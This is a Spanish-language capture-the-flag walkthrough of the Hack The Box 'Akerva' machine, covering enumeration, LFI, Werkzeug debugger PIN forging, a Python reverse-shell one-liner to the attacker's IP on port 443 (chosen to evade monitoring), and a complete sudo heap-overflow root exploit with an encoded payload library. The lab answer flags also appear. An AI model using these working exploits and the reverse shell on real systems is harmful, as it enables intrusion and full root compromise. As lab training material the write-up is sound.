Akerva - Hack The Box
Akerva es una máquina de la sección Fortress de Hack The Box en la que se pueden hackear un montón de cosas, así podemos practicar un montón de técnicas distintas en la misma máquina.
PORT SCAN
TCP:
> nmap -sV -sC -Pn -n -T5 10.13.37.11 --open
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-11 21:09 CEST
Nmap scan report for 10.13.37.11
Host is up (0.11s latency).
Not shown: 925 closed tcp ports (conn-refused), 72 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 0d:e4:41:fd:9f:a9:07:4d:25:b4:bd:5d:26:cc:4f:da (RSA)
| 256 f7:65:51:e0:39:37:2c:81:7f:b5:55:bd:63:9c:82:b5 (ECDSA)
|_ 256 28:61:d3:5a:b9:39:f2:5b:d7:10:5a:67:ee:81:a8:5e (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.4-alpha-47225
|_http-title: Root of the Universe – by @lydericlefebvre & @akerva_fr
|_http-server-header: Apache/2.4.29 (Ubuntu)
5000/tcp open http Werkzeug httpd 0.16.0 (Python 2.7.15+)
| http-auth:
| HTTP/1.0 401 UNAUTHORIZED\x0D
|_ Basic realm=Authentication Required
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/0.16.0 Python/2.7.15+
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.05 seconds
Podemos ver que el puerto 22
está abierto, es decir ssh
, aunque eso es normal en estas máquinas, ya que en muchas lo podemos utilizar si tenemos alguna credencial
o ssh key
, para establecer conexión con esa máquina desde ese puerto.
Por otra parte, también vemos el puerto 80
por lo que podemos suponer que tiene una página web
.
Y también el 5000 http
, es decir, otro servicio web
, pero en este vemos un que tiene una cosita bastante interesante que es Werkzeug
, así que es algo que tenemos que tener en cuenta luego al ver a fondo ese puerto, ya que esa versión puede tener alguna vulnerabilidad.
También nmap
ya nos dice que es una máquina Linux, pero por si acaso vamos a mandarle una traza ICMP
para mediante el ttl: time to live
poder saber cuál es el sistema operativo OS
con más exactitud.
> ping -c 1 10.13.37.11
PING 10.13.37.11 (10.13.37.11) 56(84) bytes of data.
64 bytes from 10.13.37.11: icmp_seq=1 ttl=63 time=106 ms
--- 10.13.37.11 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 105.970/105.970/105.970/0.000 ms
Vemos que el ttl = 63 aunque en la realidad es ttl = 64
porque la conexión no es directa, sino que pasa por un host intermediario, lo cual le quita uno de ttl. Por lo que podemos saber que estamos ante una máquina Linux
.
UDP:
❯ sudo nmap -sU --open -T5 --top-ports 200 10.13.37.11
Nmap scan report for 10.13.37.11
PORT STATE SERVICE
161/udp open snmp
Con snmpbulkwalk
podemos ver la informacion que haya en ese puerto, y en este caso nos da una FLAG: AKERVA{IkN0w_SnMP@@@MIsconfigur@T!onS}
❯ snmpbulkwalk -v2c -c public 10.13.37.11 | grep AKERVA
iso.3.6.1.2.1.25.4.2.1.5.1243 = STRING: "/var/www/html/scripts/backup_every_17minutes.sh AKERVA{IkN0w_SnMP@@@MIsconfigur@T!onS}
PUERTO 80
Si vamos a su sitio web veremos esto:
En un principio puede parecer que no hay gran cosa, pero si nos fijamos en la parte de abajo de la web tenemos una información muy útil. El gestor de contenido de la web es WordPress
y si miramos con Wappalizer
veremos lo mismo, es decir que ya sabemos por donde tirar.
También es verdad que en la izquierda podemos ver unos nombres que quizás más adelante pudrían ser usuarios válidos, pero de momento no nos son de utilidad.
Antes de empezar a hacer pruebas voy a mirar el código, aver si hay algún subdominio/directorio/… interesante y ya de paso a ver si hay alguna flag. Y resulta que no hay nada interesante, pero nos encontramos otra FLAG: AKERVA{Ikn0w_F0rgoTTEN#CoMmeNts}
Ahora ya podemos empezar a hacer reconocimiento
de la web a ver si encontramos algo interesante.
Para empezar podemos mirar con Wappalizer
y ahí encontramos un par de cosas interesantes:
Podemos ver que hay una base de datos, MySQL
y sabiendo que el gestor es un Wordpress
, pues huele mucho a que en algún punto es vulnerable a SQL injection
. Ya que los Worpress son muy propensos a tener esa clase de vulnerabilidades.
También podemos ver que tiene JQuery
, pero no es de una versión vulnerable a Prototype Pollution
, ya que el último artículo que hice fue sobre eso y me hacía ilusión XD, pero por si acaso voy a mirar a ver si es vulnerable a otras cosas. No, no parece tener ninguna vulnerabilidad asociada a esas versiones.
También podemos probar con Whatweb
a ver si vemos algo interesante:
> whatweb http://10.13.37.11/
http://10.13.37.11/ [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.13.37.11], JQuery, MetaGenerator[WordPress 5.4-alpha-47225], PoweredBy[@lydericlefebvre,WordPress], Script, Title[Root of the Universe – by @lydericlefebvre & @akerva_fr], UncommonHeaders[link], WordPress, x-pingback[http://10.13.37.11/xmlrpc.php]
Pero no nos dice nada que no supiesemos :(
Pues vamos a intentar encontrar directorios con Wfuzz
:
❯ wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.13.37.11/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.13.37.11/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000241: 301 9 L 28 W 315 Ch "wp-content"
000000274: 401 14 L 54 W 458 Ch "scripts"
000000786: 301 9 L 28 W 316 Ch "wp-includes"
000000834: 301 9 L 28 W 308 Ch "dev"
000001073: 301 9 L 28 W 315 Ch "javascript"
000007180: 301 9 L 28 W 313 Ch "wp-admin"
000011260: 301 9 L 28 W 312 Ch "backups"
000095524: 403 9 L 28 W 276 Ch "server-status"
Archivos .php :
❯ wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.13.37.11/FUZZ.php
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.13.37.11/FUZZ.php
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000475: 200 86 L 308 W 5036 Ch "wp-login"
000000015: 301 0 L 0 W 0 Ch "index"
000005002: 200 4 L 15 W 135 Ch "wp-trackback"
000017049: 405 0 L 6 W 42 Ch "xmlrpc"
000046026: 302 0 L 0 W 0 Ch "wp-signup"
He probado con un Idor
en el directorio /wp-admin
, ya que hacía un redirect al login
y ha funcionado, he bypasseado el login
, pero la página estaba en blanco, es muy raro, supongo que no irán por ahí los tiros. Así que no merece la pena explicar ahora esa vulnerabilidad, ya que me da un poco pereza y total, ya la explicaré en otro momento.
En el puerto que estaba por UDP
hemos visto un directorio interesante: /var/www/html/scripts/backup_every_17minutes.sh
. Solo se puede acceder a el por POST
.
❯ curl -X POST http://10.13.37.11/scripts/backup_every_17minutes.sh
#!/bin/bash
#
# This script performs backups of production and development websites.
# Backups are done every 17 minutes.
# AKERVA{IKNoW###VeRbTamper!nG_==}
SAVE_DIR=/var/www/html/backups
while true
do
ARCHIVE_NAME=backup_$(date +%Y%m%d%H%M%S)
echo "Erasing old backups..."
rm -rf $SAVE_DIR/*
echo "Backuping..."
zip -r $SAVE_DIR/$ARCHIVE_NAME /var/www/html/*
echo "Done..."
sleep 1020
done
Y ahí hay otra FLAG: AKERVA{IKNoW###VeRbTamper!nG_==}
Siguiendo con los scripts vulnerables
antes también hemos visto un script que si lo analizamos crea un .zip
comprimiendo cada 1020 segundos
todo lo que está en /var/www/html en /var/www/html/backups
con el nombre iniciando con backup_ seguido del año, mes, día, hora, minuto y segundo en el que se creó.
Podemos conseguir algo parecido al ver la parte de Date
en la respuesta al hacerle un curl
.
❯ curl -I 10.13.37.11 | grep Date
Date: Sat, 12 Aug 2022 14:16:27 GMT
Con esa información ya podemos empezar a saber el nombre del archivo.zip: backup_2022081314****.zip
. ** son los minutos y segundos, porque es probable que sean diferentes a cuando se hizo el backup. Pero no hay problema ya que el resto lo podemos conseguir a fuerza bruta
con wfuzz
:
❯ wfuzz -c -u http://10.13.37.11/backups/backup_2022061001FUZZ.zip -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt --hc 404
Target: http://10.13.37.11/backups/backup_2022061001FUZZ.zip
Total requests: 10000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000227: 200 9 L 42 W 493 Ch "1454"
Una vez conociendo estos números ya podemos completar el nombre del archivo, y con hacer un wget
a ese archivo ya podremos conseguir él .zip.
> wget http://10.13.37.11/backups/backup_20220813141454.zip
Grabando a: «backup_20220813141454.zip»
backup_20220813141454.zip 100%[=================================>] 21.05M
Y ya tendríamos el archivo.
Al descomprimirlo podremos ver un archivo en var/www/html/dev/ que tiene la FLAG: AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}
var/www/html/dev ❯ cat space_dev.py
#!/usr/bin/python
from flask import Flask, request
from flask_httpauth import HTTPBasicAuth
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
auth = HTTPBasicAuth()
users = {
"aas": generate_password_hash("AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}")
}
@auth.verify_password
def verify_password(username, password):
if username in users:
return check_password_hash(users.get(username), password)
return False
@app.route('/')
@auth.login_required
def hello_world():
return 'Hello, World!'
# TODO
@app.route('/download')
@auth.login_required
def download():
return downloaded_file
@app.route("/file")
@auth.login_required
def file():
filename = request.args.get('filename')
try:
with open(filename, 'r') as f:
return f.read()
except:
return 'error'
if __name__ == '__main__':
print(app)
print(getattr(app, '__name__', getattr(app.__class__, '__name__')))
app.run(host='0.0.0.0', port='5000', debug = True)
PUERTO 5000
Al intentar ir a la web de este puerto nos pide un user
y una password
:
Si nos fijamos en el script que hemos visto antes podemos ver que para el puerto 5000 el user es aas
y la password es AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}
. Así que las ponemos y nos deja entrar, aunque a primera vista no vemos nada interesante.
También si nos damos cuenta, en el script podemos ver una función que podría llegar a provocar un LFI
con /file y el gruapper
filename:
Podemos ver que hay dos usuarios: root
y aas
. Y ya que nos hemos logueado como aas podemos probar a hacer un lfi a ver si conseguimos ver su FLAG: AKERVA{IKNOW#LFi_@_}
Ahora si buscamso posibles directorios con Wfuzz
encontraremos el directorio console
:
❯ wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.13.37.11:5000/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.13.37.11:5000/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000003644: 200 52 L 186 W 1985 Ch "console"
Si vamos a ese directorio nos encontramos con que está bloqueado por un PIN
.
En la fase de reconocimiento hemos visto que el puerto 5000 tenía Werkzeug
y en hacktricks
hay un exploit
para esa versión. Si a ese exploit le cambiamos un par de cosas y lo ejecutamos, nos debería dar un pin válido.
Primero cambiaremos el user a aas
.
Luego cambiaremos la versión de Python
:
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc', # getattr(mod, '__file__', None),
Ahora cambiaremos la linea en private bites
, este valor es dinámico, pero con hacer un lfi al directorio /sys/class/net/ens33/address
ya lo tendríamos:
'005056b954b5', # str(uuid.getnode()), /sys/class/net/ens33/address
El siguiente también es dinámico, pero con otro lfi a /etc/machine-id
también lo tendríamos:
'258f132cd7e647caaf5510e3aca997c1', # get_machine_id(), /etc/machine-id
En mi caso el script quedaría asi, pero en tu caso tienes que cambiar los últimos dos valores a los tuyos, ya que son dinámicos:
import hashlib
from itertools import chain
probably_public_bits = [
'aas', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]
private_bits = [
'005056b954b5', # str(uuid.getnode()), /sys/class/net/ens33/address
'258f132cd7e647caaf5510e3aca997c1', # get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Ahora lo ejecutamos y ya nos debería dar un PIN valido:
❯ python3 exploit.py
228-027-395
Y con este PIN logramos acceder a /console.
Básicamente es una consola de Python, por lo que podemos mandaros una reverse shell
utilizando Python
, pero antes de esto tenemos que poner el puerto 443 a la escucha con netcta
(ponemos el puerto 443, ya que en servidores web suele ser un puerto utilizado para https
y, por lo tanto, al trasmitir información por ese puerto es más difícil que nos detecten, porque los programas de monitorización automatizados no suelen tener en cuenta la información que se tramita por ese puerto, ya que es normal que se tramite información por ese puerto):
[console ready]
>>> import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.14.4",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
Ahora si miramos con un ls
no veremos una flag nueva, solo la que ya habíamos visto, pero con un ls -a
sí que la podremos ver, ya que estaba oculta. FLAG: AKERVA{IkNOW#=ByPassWerkZeugPinC0de!}
aas@Leakage:~$ ls -a
. .. .bash_history .bash_logout .bashrc flag.txt .hiddenflag.txt .ssh
aas@Leakage:~$ cat .hiddenflag.txt
AKERVA{IkNOW#=ByPassWerkZeugPinC0de!}
ESCALADA DE PRIVILEGIOS
Entre las muchas cosas que he probado he encontrado esto:
aas@Leakage:/tmp$ sudo --version
Sudo version 1.8.21p2
Vemos que la vesión de sudo es antigua
, entonces podríamos intetar explotar eso para tener una shell
de root
.
Para eso he encontrado este exploit
:
import os,subprocess,sys
from ctypes import cdll, c_char_p, POINTER, c_int, c_void_p
print(" [\033[1;32m+\033[1;37m] Iniciando el exploit ")
SUDO_PATH = b"/usr/bin/sudo"
libc = cdll.LoadLibrary("libc.so.6")
LC_CATS = [
b"LC_CTYPE", b"LC_NUMERIC", b"LC_TIME", b"LC_COLLATE", b"LC_MONETARY",
b"LC_MESSAGES", b"LC_ALL", b"LC_PAPER", b"LC_NAME", b"LC_ADDRESS",
b"LC_TELEPHONE", b"LC_MEASUREMENT", b"LC_IDENTIFICATION"
]
def check_is_vuln():
r, w = os.pipe()
pid = os.fork()
if not pid:
os.dup2(w, 2)
execve(SUDO_PATH, [ b"sudoedit", b"-s", b"-A", b"/aa", None ], [ None ])
exit(0)
os.close(w)
os.waitpid(pid, 0)
r = os.fdopen(r, 'r')
err = r.read()
r.close()
if "sudoedit: no askpass program specified, try setting SUDO_ASKPASS" in err:
return True
assert err.startswith('usage: ') or "invalid mode flags " in err, err
return False
def create_libx(name):
so_path = 'libnss_'+name+'.so.2'
if os.path.isfile(so_path):
return
so_dir = 'libnss_' + name.split('/')[0]
if not os.path.exists(so_dir):
os.makedirs(so_dir)
import zlib
import base64
libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'
with open(so_path, 'wb') as f:
f.write(zlib.decompress(base64.b64decode(libx_b64)))
def check_nscd_condition():
if not os.path.exists('/var/run/nscd/socket'):
return True
import socket
sk = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
try:
sk.connect('/var/run/nscd/socket')
except:
return True
else:
sk.close()
with open('/etc/nscd.conf', 'r') as f:
for line in f:
line = line.strip()
if not line.startswith('enable-cache'):
continue
service, enable = line.split()[1:]
if service == 'passwd' and enable == 'yes':
return False
if service == 'group' and enable == 'yes':
return False
return True
def get_libc_version():
output = subprocess.check_output(['ldd', '--version'], universal_newlines=True)
for line in output.split('\n'):
if line.startswith('ldd '):
ver_txt = line.rsplit(' ', 1)[1]
return list(map(int, ver_txt.split('.')))
return None
def check_libc_version():
version = get_libc_version()
assert version, "Cannot detect libc version"
return version[0] >= 2 and version[1] >= 26
def check_libc_tcache():
libc.malloc.argtypes = (c_int,)
libc.malloc.restype = c_void_p
libc.free.argtypes = (c_void_p,)
size1, size2 = 0xd0, 0xc0
mems = [0]*32
for i in range(len(mems)):
mems[i] = libc.malloc(size2)
mem1 = libc.malloc(size1)
libc.free(mem1)
mem2 = libc.malloc(size2)
libc.free(mem2)
for addr in mems:
libc.free(addr)
return mem1 != mem2
def get_service_user_idx():
idx = 0
found = False
with open('/etc/nsswitch.conf', 'r') as f:
for line in f:
if line.startswith('#'):
continue
line = line.strip()
if not line:
continue
words = line.split()
if words[0] == 'group:':
found = True
break
for word in words[1:]:
if word[0] != '[':
idx += 1
assert found, ' [\033[1;31m!\033[1;37m] No se encuentra la base de datos "grupo" '
return idx
def get_extra_chunk_count(target_chunk_size):
chunk_cnt = 0
gids = os.getgroups()
malloc_size = len("groups=") + len(gids) * 11
chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
if chunk_size == target_chunk_size: chunk_cnt += 1
import socket
malloc_size = len("host=") + len(socket.gethostname()) + 1
chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
if chunk_size == target_chunk_size: chunk_cnt += 1
try:
import ipaddress
except:
return chunk_cnt
cnt = 0
malloc_size = 0
proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
for line in proc.stdout:
line = line.strip()
if not line.startswith('inet'):
continue
if cnt < 2:
cnt += 1
continue;
addr = line.split(' ', 2)[1]
mask = str(ipaddress.ip_network(addr if sys.version_info >= (3,0,0) else addr.decode("UTF-8"), False).netmask)
malloc_size += addr.index('/') + 1 + len(mask)
cnt += 1
malloc_size += len("network_addrs=") + cnt - 3 + 1
chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
if chunk_size == target_chunk_size: chunk_cnt += 1
proc.wait()
return chunk_cnt
def execve(filename, argv, envp):
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(envp))(*envp)
libc.execve(filename, cargv, cenvp)
def lc_env(cat_id, chunk_len):
name = b"C.UTF-8@"
name = name.ljust(chunk_len - 0x18, b'Z')
return LC_CATS[cat_id]+b"="+name
try:
assert check_is_vuln(), " [\033[1;31m!\033[1;37m] La versión de sudo no es vulnerable'"
except:
print(" [\033[1;31m!\033[1;37m] La versión de sudo no es vulnerable " )
sys.exit()
try:
assert check_libc_version(), " [!] La versión de glibc es demasiado antigua "
except:
print(" [\033[1;31m!\033[1;37m] La versión de glibc es demasiado antigua ")
sys.exit()
try:
assert check_libc_tcache(), " [\033[1;31m!\033[1;37m] No se encontró el paquete glibc "
except:
print(" [\033[1;31m!\033[1;37m] No se encontró el paquete glibc ")
sys.exit()
try:
assert check_nscd_condition(), " [\033[1;31m!\033[1;37m] El servicio nscd se está ejecutando "
except:
print(" [\033[1;31m!\033[1;37m] El servicio nscd se está ejecutando ")
service_user_idx = get_service_user_idx()
assert service_user_idx < 9, '"group" db in nsswitch.conf is too far, idx: %d' % service_user_idx
create_libx("X/X1234")
FAKE_USER_SERVICE_PART = [ b"\\" ] * 0x18 + [ b"X/X1234\\" ]
TARGET_OFFSET_START = 0x780
FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART*30
FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1]
CHUNK_CMND_SIZE = 0xf0
extra_chunk_cnt = get_extra_chunk_count(CHUNK_CMND_SIZE) if len(sys.argv) < 2 else int(sys.argv[1])
argv = [ b"sudoedit", b"-A", b"-s", b"A"*(CHUNK_CMND_SIZE-0x10)+b"\\", None ]
env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE
env.extend([ lc_env(0, 0x40)+b";A=", lc_env(1, CHUNK_CMND_SIZE) ])
for i in range(2, service_user_idx+2):
env.append(lc_env(i if i < 6 else i+1, 0x40))
if service_user_idx == 0:
env.append(lc_env(2, 0x20))
for i in range(11, 11-extra_chunk_cnt, -1):
env.append(lc_env(i, CHUNK_CMND_SIZE))
env.append(lc_env(12, 0x90))
env.append(b"TZ=:")
env.append(None)
print(' [\033[1;32m+\033[1;37m] Exploit completado ')
execve(SUDO_PATH, argv, env)
Lo ejecutamos y nos convierte en el usuario root
:
FLAG: AKERVA{IkNow_Sud0_sUckS!}
aas@Leakage:/tmp$ python3 exploit.py
[+] Iniciando el exploit
[+] Exploit completado
# whoami
root
# cat /root/flag.txt
AKERVA{IkNow_Sud0_sUckS!}
FLAG EXTRA: Cryptografia
En el directorio /root
también nos encontramos el archivo secured_note.md
que contiene una cadena encriptada en base64
. La decodeamos pero sigue encriptada:
root@Leakage:~# cat secured_note.md
R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNL
UkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVM
U1BNSUhITU9EQVVLSEUK
@AKERVA_FR | @lydericlefebvre
root@Leakage:~# echo "R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNLUkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVMU1BNSUhITU9EQVVLSEUK" | base64 -d
GOAHGHEEGSAEEHACEGULREPEEECEOKMKERFSESFRLKERUKTSVPMSSNHSKRFFAGIAPVETCNMDLVFHDAOGFLAFGSKEULMVOOWWCAHCRFVVNVHVCMSYELSPMIHHMODAUKHE
Por lo que vamos a utilizar vigenere-cipher para decodear lo que nos queda.
Para eso tenemos que introducir la infomación que ya sabemos:
-No tenemo las letras B,J,Q,X,Z
por lo que nuestro alphabet se reduce a ACDEFGHIKLMNOPRSTUVWY
-Conocemos el principio de la flag: AKERVA
Entonces introducimos esa información y le damos a decrypt
:
Ahora en el final de esa cadena de texto podemos ver la FLAG: AKERVA{IKNOOOWVIGEEENERRRE}
uwu